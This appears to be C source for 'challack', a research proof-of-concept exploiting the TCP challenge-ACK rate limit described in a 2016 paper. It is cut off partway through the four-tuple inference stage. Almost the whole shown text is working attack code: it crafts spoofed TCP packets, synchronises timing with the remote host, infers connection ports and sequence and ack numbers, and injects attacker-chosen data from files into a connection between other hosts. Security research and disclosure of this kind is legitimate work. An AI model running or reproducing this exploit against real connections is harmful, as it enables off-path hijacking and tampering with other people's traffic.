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challack.c
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challack.c
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/*
* Proof-of-concept code for:
* "Off-Path TCP Exploits: Global Rate Limit Considered Dangerous"
* http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf
*
* by Joshua J. Drake (jdrake@zimperium.com) on 2016-08-18
*
* NOTE: You need to use iptables to DROP packets from the target host/port
*
* # iptables -A INPUT -j DROP -p tcp -s [server addr] --sport [server port]
*
* Otherwise, your legitimate TCP stack will interfere with this program's
* operation.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
/* internet networking */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* packet capturing */
#include <pcap/pcap.h>
/* raw packet crafting */
#define __FAVOR_BSD 1
#include <netinet/ip.h>
#include <netinet/tcp.h>
/* terminal interactions */
#include <termios.h>
/* precise timing */
#include <sys/time.h>
/* threading */
#include <pthread.h>
/* filesystem interaction */
#include <sys/stat.h>
#include <fcntl.h>
#ifndef ROUTER_MAC
#define ROUTER_MAC "\x01\x02\x03\x04\x05\x06"
#endif
#ifndef LOCAL_MAC
#define LOCAL_MAC "\xaa\xbb\xcc\xdd\xee\xff"
#endif
/*
* if DEVICE is not defined, we'll try to find a suitable device..
*/
// #define DEVICE "ppp0"
#define SNAPLEN 1500
#define PACKETS_PER_SECOND 4000
#define PACKET_DELAY 100
/* TCP connection tracking */
typedef enum {
CS_NEW = 0,
CS_SYN_SENT,
CS_CONNECTED,
CS_FINISHED
} cstate_t;
const char *g_conn_states[] = {
"NEW",
"SYN",
"EST",
"FIN"
};
typedef struct packet_struct {
u_char *buf;
size_t len;
} packet_t;
typedef struct conn_struct {
cstate_t state;
uint16_t id;
struct sockaddr_in src;
struct sockaddr_in dst;
/* in host endian */
uint32_t seq;
uint32_t ack;
} conn_t;
typedef struct thctx_struct {
/* pcap */
pcap_t *pch;
int ipoff;
/* connections */
conn_t legit;
conn_t spoof;
/* other options */
uint16_t winsz; // initial TCP window size
int autostart;
u_long packets_per_second;
u_long packet_delay;
uint32_t start_seq, end_seq;
uint32_t start_ack, end_ack;
/* inject? */
char *inject_server;
off_t inject_server_len;
char *inject_client;
off_t inject_client_len;
int client_mode;
int attacking;
} thctx_t;
/* for probing groups of values, limited by PACKETS_PER_SECOND */
typedef struct chunk_struct {
u_long start;
u_long end;
int chacks;
} chunk_t;
/* global count for challenge ACKs received in one period */
static volatile int g_chack_cnt = 0;
/* global context for threads operating on pkts */
static volatile thctx_t g_ctx;
/* global RST packet for eliciting challenge ACKs */
static packet_t g_rst_pkt;
/* prototypes.. */
int set_up_attack(void);
int sync_time_with_remote(void);
int infer_four_tuple(void);
int infer_sequence_step1(u_long *pstart, u_long *pend);
int infer_sequence_step2(u_long *pstart, u_long *pend);
int infer_sequence_step3_rst(u_long *pstart, u_long *pend);
int infer_sequence_step3_ack(u_long *pstart, u_long *pend);
int infer_sequence_number(void);
int infer_ack_number(void);
int inject_the_data(void);
int conduct_offpath_attack(void);
uint16_t in_cksum(uint16_t *addr, size_t len);
void tcp_init(volatile conn_t *pconn, uint32_t seq);
int tcp_craft(void *output, size_t *outlen, volatile conn_t *pconn,
u_char flags, char *data, size_t len);
int tcp_send(pcap_t *pch, volatile conn_t *pconn, u_char flags,
char *data, size_t len);
int tcp_recv(struct pcap_pkthdr *pph, const void *inbuf, u_char *flags,
uint32_t *pack, uint32_t *pseq, void **pdata, size_t *plen);
#if defined(DEBUG_SEQ_IN) || defined(DEBUG_SEQ_OUT)
char *tcp_flags(u_char flags);
#endif
int block_traffic(void);
int unblock_traffic(void);
void setterm(int mode);
int kbhit(void);
int lookup_host(char *hostname, struct sockaddr_in *addr);
int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv,
uint16_t lport, int *off2ip);
void *recv_thread(void *arg);
int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay);
int prepare_rst_packet(packet_t *ppkt);
void wait_until(const char *desc, struct timeval *pstart, time_t sec,
suseconds_t usec);
char *slurp(char *file, off_t *plen);
void usage(char *argv0)
{
fprintf(stderr, "usage: %s [options] <server addr> <server port> <client addr>\n",
argv0);
fprintf(stderr, "\nsupported options:\n\n"
"-c <port> attack the client's connection to this port on the server\n"
"-d <usec> packet delay\n"
"-g automatically start the attack (otherwise type \"start\")\n"
"-h this help, duh.\n"
"-i <file> inject data from file to the server\n"
"-I <file> inject data from file to the client\n"
"-p <port> spoofed client port\n"
// if it differs from legit connection port
"-P <port> alternate server port (advanced)\n"
"-r <rate> max packets per second\n"
"-s <sequence> skip to this number when starting sequence inference\n"
"-S <sequence> spoofed client sequence number\n"
"-w <winsz> assume the specified window size\n"
// time offset? (to avoid sync_time_with_remote)
"-a <sequence> skip to this number when starting ack inference\n"
"-A <sequence> spoofed client ack number\n");
}
int validate_port(char *str)
{
int port = atoi(str);
if (port < 1 || port > 65535) {
fprintf(stderr, "[!] %s is not a valid port.\n", str);
return -1;
}
return port;
}
int validate_seqack_one(char *str, uint32_t *pout)
{
char *pend = NULL;
u_long tmp = strtoul(str, &pend, 0);
if (!pend || *pend || tmp > UINT32_MAX) {
fprintf(stderr, "[!] invalid sequence number: %s\n", str);
return -1;
}
*pout = (uint32_t)tmp;
return 1;
}
int validate_seqack(char *str, int allow_range, uint32_t *pstart, uint32_t *pend)
{
char *str_end;
if (allow_range) {
char *pdash = strchr(str, '-');
if (pdash) {
*pdash++ = '\0'; // XXX: modifies arg
if (validate_seqack_one(pdash, pend) == -1)
return -1;
}
}
if (validate_seqack_one(str, pstart) == -1)
return -1;
/* swap the endpoints if someone specified something silly */
if (allow_range && *pend < *pstart) {
uint32_t tmp = *pend;
*pend = *pstart;
*pstart = tmp;
}
return 1;
}
/*
* The main function of this program simply checks prelimary arguments and
* and launches the attack.
*/
int main(int argc, char *argv[])
{
char *argv0;
int ret = 0, c, srvport, altport = -1, cliport = -1;
char myhost[512];
struct sockaddr_in sin;
char *srvfn = NULL, *clifn = NULL;
int client_mode = -1;
char sport[32], dport[32];
/* look up this machine's address */
if (gethostname(myhost, sizeof(myhost)) == -1) {
perror("[!] gethostname");
return 1;
}
if (!lookup_host(myhost, &sin))
return 1;
g_ctx.legit.src = sin;
/* initalize stuff */
srand(getpid());
g_ctx.packets_per_second = PACKETS_PER_SECOND;
g_ctx.packet_delay = PACKET_DELAY;
argv0 = "challack";
if (argv && argc > 0 && argv[0])
argv0 = argv[0];
if (argc < 4) {
usage(argv0);
return 1;
}
while ((c = getopt(argc, argv, "a:c:d:ghI:i:P:p:r:S:s:A:w:")) != -1) {
switch (c) {
case '?':
case 'h':
usage(argv0);
return 1;
case 'g':
g_ctx.autostart = 1;
break;
case 'c':
if ((client_mode = validate_port(optarg)) == -1)
return 1;
break;
case 'd':
{
char *pend = NULL;
u_long tmp = strtoul(optarg, &pend, 0);
if (!pend || *pend || tmp >= 1000000) {
fprintf(stderr, "[!] invalid delay: %s\n", optarg);
return 1;
}
g_ctx.packet_delay = tmp;
}
break;
case 'I':
{
off_t len;
char *buf = slurp(optarg, &len);
if (!buf) {
fprintf(stderr, "[!] unable to load client inject data from \"%s\"\n", optarg);
return 1;
}
g_ctx.inject_client = buf;
g_ctx.inject_client_len = len;
clifn = optarg;
}
break;
case 'i':
{
off_t len;
char *buf = slurp(optarg, &len);
if (!buf) {
fprintf(stderr, "[!] unable to load server inject data from \"%s\"\n", optarg);
return 1;
}
g_ctx.inject_server = buf;
g_ctx.inject_server_len = len;
srvfn = optarg;
}
break;
case 'p':
if ((cliport = validate_port(optarg)) == -1)
return 1;
break;
case 'P':
if ((altport = validate_port(optarg)) == -1)
return 1;
break;
case 'r':
{
char *pend = NULL;
u_long tmp = strtoul(optarg, &pend, 0);
if (!pend || *pend || tmp > 1000000) {
fprintf(stderr, "[!] invalid packet rate: %s\n", optarg);
return 1;
}
g_ctx.packets_per_second = tmp;
}
break;
case 'S':
{
uint32_t tmp;
if (validate_seqack(optarg, 0, &tmp, NULL) == -1)
return 1;
g_ctx.spoof.seq = tmp;
}
break;
case 's':
{
uint32_t start, end = 0;
if (validate_seqack(optarg, 1, &start, &end) == -1)
return 1;
g_ctx.start_seq = start;
g_ctx.end_seq = end;
}
break;
case 'w':
{
int winsz = atoi(optarg);
if (winsz < 1 || winsz > 65535) {
fprintf(stderr, "[!] %s is not a valid window size.\n", optarg);
return 1;
}
g_ctx.winsz = winsz;
}
break;
case 'A':
{
uint32_t tmp;
if (validate_seqack(optarg, 0, &tmp, NULL) == -1)
return 1;
g_ctx.spoof.ack = tmp;
}
break;
case 'a':
{
uint32_t start, end = 0;
if (validate_seqack(optarg, 1, &start, &end) == -1)
return 1;
g_ctx.start_ack = start;
g_ctx.end_ack = end;
}
break;
default:
fprintf(stderr, "[!] invalid option '%c'! try -h ...\n", c);
return 1;
/* not reached */
break;
}
}
/* adjust params */
argc -= optind;
argv += optind;
/* process required arguments */
if (argc < 3) {
usage(argv0);
return 1;
}
/* see if we can get the target server address */
memset(&sin, 0, sizeof(sin));
if (!lookup_host(argv[0], &sin))
return 1;
g_ctx.legit.dst = sin;
g_ctx.spoof.dst = sin;
/* see if we can get the client's address */
if (!lookup_host(argv[2], &sin))
return 1;
g_ctx.spoof.src = sin;
/* validate and record the server port */
if ((srvport = validate_port(argv[1])) == -1)
return 1;
g_ctx.legit.dst.sin_port = htons((uint16_t)srvport);
if (client_mode == -1)
g_ctx.spoof.dst.sin_port = htons((uint16_t)srvport);
/* for client mode, we need to spoof packets from the specified port on the
* server to the client */
strcpy(sport, "TBD");
strcpy(dport, "TBD");
if (client_mode != -1) {
g_ctx.spoof.src.sin_port = htons(client_mode);
sprintf(sport, "%u (from -c)", client_mode);
if (cliport != -1) {
g_ctx.spoof.dst.sin_port = htons(cliport);
sprintf(dport, "%u (from -p)", cliport);
}
g_ctx.client_mode = 1;
} else {
if (cliport != -1) {
g_ctx.spoof.src.sin_port = htons(cliport);
sprintf(sport, "%u (from -p)", cliport);
}
if (altport != -1) {
g_ctx.spoof.dst.sin_port = htons(altport);
sprintf(dport, "%u (from -P)", altport);
} else {
sprintf(dport, "%u", ntohs(g_ctx.spoof.dst.sin_port));
}
}
/* show details of the attack before commencing */
printf("[*] Launching off-path challenge ACK attack against the connection between:\n");
printf(" source: %s:%s\n", inet_ntoa(g_ctx.spoof.src.sin_addr), sport);
printf(" destination: %s:%s\n", inet_ntoa(g_ctx.spoof.dst.sin_addr), dport);
printf("[*] Sending legit challenge ACKs to: %s:%u\n",
inet_ntoa(g_ctx.legit.dst.sin_addr),
ntohs(g_ctx.legit.dst.sin_port));
printf(" from: %s\n", inet_ntoa(g_ctx.legit.src.sin_addr));
if (g_ctx.spoof.seq)
printf(" spoofed sequence: %lu (0x%lx)\n", (u_long)g_ctx.spoof.seq,
(u_long)g_ctx.spoof.seq);
if (g_ctx.spoof.ack)
printf(" spoofed ack: %lu (0x%lx)\n", (u_long)g_ctx.spoof.ack,
(u_long)g_ctx.spoof.ack);
if (g_ctx.start_seq)
printf(" starting with sequence: %lu (0x%lx)\n",
(u_long)g_ctx.start_seq, (u_long)g_ctx.start_seq);
if (g_ctx.end_seq)
printf(" ending with sequence: %lu (0x%lx)\n",
(u_long)g_ctx.end_seq, (u_long)g_ctx.end_seq);
if (g_ctx.start_ack)
printf(" starting with ack: %lu (0x%lx)\n",
(u_long)g_ctx.start_ack, (u_long)g_ctx.start_ack);
if (g_ctx.end_ack)
printf(" ending with ack: %lu (0x%lx)\n",
(u_long)g_ctx.end_ack, (u_long)g_ctx.end_ack);
if (g_ctx.packets_per_second != PACKETS_PER_SECOND)
printf(" packets per second: %lu\n", g_ctx.packets_per_second);
if (g_ctx.packet_delay != PACKET_DELAY)
printf(" packet delay: %lu\n", g_ctx.packet_delay);
if (srvfn)
printf(" attempting to inject %lu bytes to the server from \"%s\"\n",
g_ctx.inject_server_len, srvfn);
if (clifn)
printf(" attempting to inject %lu bytes to the client from \"%s\"\n",
g_ctx.inject_client_len, clifn);
if (g_ctx.winsz)
printf(" tcp window size: %u\n", g_ctx.winsz);
/* here we go.. WOOO */
ret = set_up_attack();
if (!unblock_traffic())
return 1;
return ret;
}
/*
* attempt to resolve hostname as an ip address using inet_aton(3). if it
* fails, we must have a DNS name so we try to look it up via gethostbyname(3).
* if all is good, we fill in addr so that it can be returned via result
* paramter, and return 1.
*
* if the lookup fails, we return 0. to report errors, we use herror(3)
*/
int lookup_host(char *hostname, struct sockaddr_in *addr)
{
struct hostent *hent;
memset(addr, 0, sizeof(*addr));
addr->sin_family = AF_INET;
if (!inet_aton(hostname, &(addr->sin_addr))) {
hent = gethostbyname(hostname);
if (hent == (struct hostent *)NULL) {
char errstr[1024] = { 0 };
snprintf(errstr, sizeof(errstr) - 1, "[!] Unable to resolve: \"%s\"",
hostname);
herror(errstr);
return 0;
}
memcpy(&(addr->sin_addr), hent->h_addr, sizeof(struct in_addr));
}
return 1;
}
/*
* try to start capturing packets from the specified host+port to the local
* machine on the specified port.
*
* on succes, we return 1, on failure, 0
*/
int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv, uint16_t lport, int *off2ip)
{
struct bpf_program bpfp; /* needed to set the filter */
char errorstr[PCAP_ERRBUF_SIZE], filterstr[80], *iface;
int filter = 1;
#ifdef DEVICE
iface = (char *)malloc(16);
strncpy(iface, DEVICE, sizeof(iface));
#else
iface = pcap_lookupdev(errorstr);
if (iface == NULL) {
fprintf(stderr, "[!] Unable to find a suitable capture device: %s\n",
errorstr);
return 0;
}
#endif
printf("[*] Starting capture on \"%s\" ...\n", iface);
*pcap = pcap_open_live(iface, SNAPLEN, 8, 25, errorstr);
#ifdef DEVICE
free(iface);
#endif
if (*pcap == (pcap_t *)NULL) {
fprintf(stderr, "[!] pcap_open_live() failed: %s\n", errorstr);
return 0;
}
switch (pcap_datalink(*pcap)) {
case DLT_EN10MB:
*off2ip = 14;
break;
case DLT_SLIP:
*off2ip = 16;
break;
case DLT_PPP:
*off2ip = 4;
filter = 0;
fprintf(stderr, "[-] PPP doesn't have filtering, problems may occur.\n");
break;
case DLT_FDDI:
fprintf(stderr, "[!] FDDI is not supported!\n");
return 0;
case DLT_RAW:
fprintf(stderr, "[-] Using the RAW datalink.\n");
*off2ip = 0;
break;
default:
*off2ip = 4;
break;
}
if (filter) {
sprintf(filterstr, "tcp and src %s and src port %d and dst port %d",
inet_ntoa(psrv->sin_addr), ntohs(psrv->sin_port), lport);
if (pcap_compile(*pcap, &bpfp, filterstr, 1, 0) == -1)
return 0;
if (pcap_setfilter(*pcap, &bpfp) == -1)
return 0;
}
return 1;
}
/*
* a function to send a certain number of packets with a delay
*/
int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay)
{
struct timeval start, now, diff;
#ifdef DEBUG_SEND_PACKETS_DELAY
printf("[*] Sending %d packets...\n", count);
#endif
while (count > 0) {
gettimeofday(&start, NULL);
if (pcap_sendpacket(g_ctx.pch, ppkt->buf, ppkt->len) == -1)
return 0;
count--;
do {
gettimeofday(&now, NULL);
timersub(&now, &start, &diff);
} while (diff.tv_usec < us_delay);
#ifdef DEBUG_SEND_PACKETS_DELAY
printf(" sent in %lu %lu\n", diff.tv_sec, diff.tv_usec);
#endif
}
return 1;
}
/*
* a thread to receive packets =)
*/
void *recv_thread(void *arg)
{
struct pcap_pkthdr *pchdr = NULL;
const u_char *inbuf = NULL;
int pcret;
u_char flags;
size_t datalen;
/* listen for challenge ACKs and count them */
while (g_ctx.attacking) {
pcret = pcap_next_ex(g_ctx.pch, &pchdr, &inbuf);
if (pcret == 1
&& tcp_recv(pchdr, inbuf, &flags, NULL, NULL, NULL, &datalen)
&& flags == TH_ACK) {
g_chack_cnt++;
}
}
/* not reached */
return NULL;
}
/*
* prepare the RST packet we'll use to elicit challenge ACKs on our legit
* connection.
*/
int prepare_rst_packet(packet_t *ppkt)
{
uint32_t old_seq;
volatile conn_t *legit = &(g_ctx.legit);
/* save the old sequence number */
old_seq = legit->seq;
/* advance it by some amount so that it is out of window */
legit->seq += 5000;
/* allocate a buffer for the packet */
ppkt->len = 8192;
ppkt->buf = malloc(ppkt->len);
if (!ppkt->buf) {
fprintf(stderr, "[!] no memory for RST packet!\n");
return 0;
}
/* add the phys header */
memcpy(ppkt->buf, ROUTER_MAC LOCAL_MAC "\x08\x00", g_ctx.ipoff);
/* craft the packet! */
if (!tcp_craft(ppkt->buf + g_ctx.ipoff, &(ppkt->len), legit, TH_RST, "z", 1))
return 0;
/* adjust the length to include the phys part */
ppkt->len += g_ctx.ipoff;
/* set the sequence number back to the original value..
* this way the connection remains ok.
*/
legit->seq = old_seq;
return 1;
}
/*
* wait until the specified amount of time has elapsed
*/
void wait_until(const char *desc, struct timeval *pstart, time_t sec, suseconds_t usec)
{
struct timeval now, diff;
uint64_t wait_time = usec + (sec * 1000000);
uint64_t waited = 0;
/* if we already reached the time, we need to adjust... */
gettimeofday(&now, NULL);
timersub(&now, pstart, &diff);
waited = diff.tv_usec + (diff.tv_sec * 1000000);
#ifdef DEBUG_WAIT_UNTIL
printf(" waiting %lu, already waited %lu...\n", wait_time, waited);
#endif
if (waited > wait_time) {
fprintf(stderr, "[!] %s : already reached time! (%lu %lu vs. %lu %lu)\n",
desc, diff.tv_sec, diff.tv_usec, sec, usec);
(void)unblock_traffic();
exit(1); // EWW
}
for (;;) {
usleep(250);
gettimeofday(&now, NULL);
timersub(&now, pstart, &diff);
waited = diff.tv_usec + (diff.tv_sec * 1000000);
if (waited >= wait_time)
break;
}
#ifdef DEBUG_WAIT_UNTIL
printf(" %s took %lu %lu\n", desc, diff.tv_sec, diff.tv_usec);
#endif
}
/*
* stage 1 - time synchronization
*
* 1. send 200 in-window RSTs spaced evenly
* 2. count the challenge ACKs returned
* 3. adjust accordingly
* 4. confirm
*
* the goal is exactly 100 challenge ACKs received...
*/
int sync_time_with_remote(void)
{
int attempts = 0, round = 0, chack_cnt[4] = { 0 };
struct timeval round_start, start, now;
struct timeval sync_start;
#ifdef DEBUG_SYNC_SEND_TIME
struct timeval diff;
#endif
gettimeofday(&sync_start, NULL);
/* if we don't synchronize within 3 attempts, give up.. */
while (1) {
gettimeofday(&round_start, NULL);
/* sanity check to detect really bad situations... */
if (g_chack_cnt > 0) {
fprintf(stderr, "[!] WTF? already received challenge ACKs??\n");
return 0;
}
/* send 200 RSTs, spaced evenly */
if (!send_packets_delay(&g_rst_pkt, 200, 5000))
return 0;
#ifdef DEBUG_SYNC_SEND_TIME
gettimeofday(&now, NULL);
timersub(&now, &round_start, &diff);
printf(" send took %lu %lu\n", diff.tv_sec, diff.tv_usec);
#endif
/* wait for 2 seconds for challenge ACKs... */
wait_until("time-sync recv", &round_start, 2, 0);
/* the delay before next round starts here.. */
gettimeofday(&start, NULL);
/* record the number of challenge acks seen */
chack_cnt[round] = g_chack_cnt;
g_chack_cnt = 0;
printf("[*] time-sync: round %d - %d challenge ACKs\n", round + 1,
chack_cnt[round]);
/* did we sync?? */
if (chack_cnt[round] == 100) {
if (round == 3) {
/* verified! */
gettimeofday(&now, NULL);
timersub(&now, &sync_start, &start);
printf("[*] Time synchronization complete (after %lu %lu)\n", start.tv_sec, start.tv_usec);
return 1;
}
/* we got lucky! verify... */
round = 3;
continue;
}
else if (chack_cnt[round] < 100) {
fprintf(stderr, "[!] invalid number of challenge ACKs! WTF?\n");
return 0;
}
/* not sync'd yet, decide how much to delay */
else if (round < 2) {
/* round 1 -> round 2 : delay by 5ms */
uint64_t delay = 5000;
if (round == 1) {
/* round 2 -> round 3 : delay precisely */
if (chack_cnt[round] >= chack_cnt[0]) {
delay = (300 - chack_cnt[round]) * 5000;
} else {
delay = (chack_cnt[round] - 100) * 5000;
}
}
/* do the delay! */
#ifdef DEBUG_SYNC_DELAY
printf(" delaying for %lu us\n", delay);
#endif
wait_until("time-sync delay", &start, 0, delay);
round++;
} else {
/* start over :-/ */
attempts++;
if (attempts > 2) {
fprintf(stderr, "[!] maximum attempts reached! giving up.\n");
break;
}
fprintf(stderr, "[!] reached round %d without success, restarting...\n",
round + 1);
round = 0;
}
}
/* fail! */
return 0;
}
/*
* build a test schedule based on the start and end of a range
*/
chunk_t *build_schedule(u_long start, u_long end, u_long chunk_sz, int *pnchunks)
{
int i, nchunks;
u_long num;
chunk_t *schedule = NULL;
num = end - start;
if (num <= chunk_sz) {
fprintf(stderr, "[!] build_schedule: invalid range (too small)!\n");
return NULL;
}
nchunks = (num / chunk_sz) + 1;
schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks);
if (!schedule) {
perror("[!] malloc");
return NULL;
}
for (i = 0; i < nchunks; i++) {
schedule[i].start = start + (i * chunk_sz);
schedule[i].end = start + ((i + 1) * chunk_sz);
if (schedule[i].end > end)
schedule[i].end = end;
}
*pnchunks = nchunks;
return schedule;
}
/*
* build a test schedule based on the start and end of a range (reverse order)
*/
chunk_t *build_schedule_reverse(u_long start, u_long end, u_long chunk_sz, int *pnchunks)
{
int i, nchunks;
u_long num;
chunk_t *schedule = NULL;
num = end - start;
if (num <= chunk_sz) {
fprintf(stderr, "[!] build_schedule_reverse: invalid range (too small)!\n");
return NULL;
}
nchunks = (num / chunk_sz) + 1;
schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks);
if (!schedule) {
perror("[!] malloc");
return NULL;
}
/* fill the schedule starting from the end */
for (i = 0; i < nchunks; i++) {
if ((u_long)((i + 1) * chunk_sz) > end)
schedule[i].start = start;
else
schedule[i].start = end - ((i + 1) * chunk_sz);
schedule[i].end = end - (i * chunk_sz);
}
*pnchunks = nchunks;
return schedule;
}
/* stage 2 - four tuple inference
*
* send a spoofed SYN|ACK to try to elicit a challenge ACK for the purported
* connection from our victim.
*/
int infer_four_tuple(void)
{
struct timeval infer_start, round_start, now, diff;
volatile conn_t *spoof = &(g_ctx.spoof);
int test_mode = -1;
/* chunk-based search vars */
chunk_t *sched = NULL;
int nchunks = 0, ci = 0;
/* binary search vars */
u_long bs_start = 0, bs_end = 0, bs_mid = 0;
volatile uint16_t *pport;
gettimeofday(&infer_start, NULL);
if (g_ctx.client_mode)
pport = &(spoof->dst.sin_port);
else
pport = &(spoof->src.sin_port);
while (1) {
gettimeofday(&round_start, NULL);
/* sanity check to detect really bad situations... */
if (g_chack_cnt > 0) {
fprintf(stderr, "[!] WTF? already received challenge ACKs??\n");
return 0;
}
/* we have three possibilities:
* 1. we have a port hint -- we just want to test that one (but fall
* back if it fails) -- test_mode:0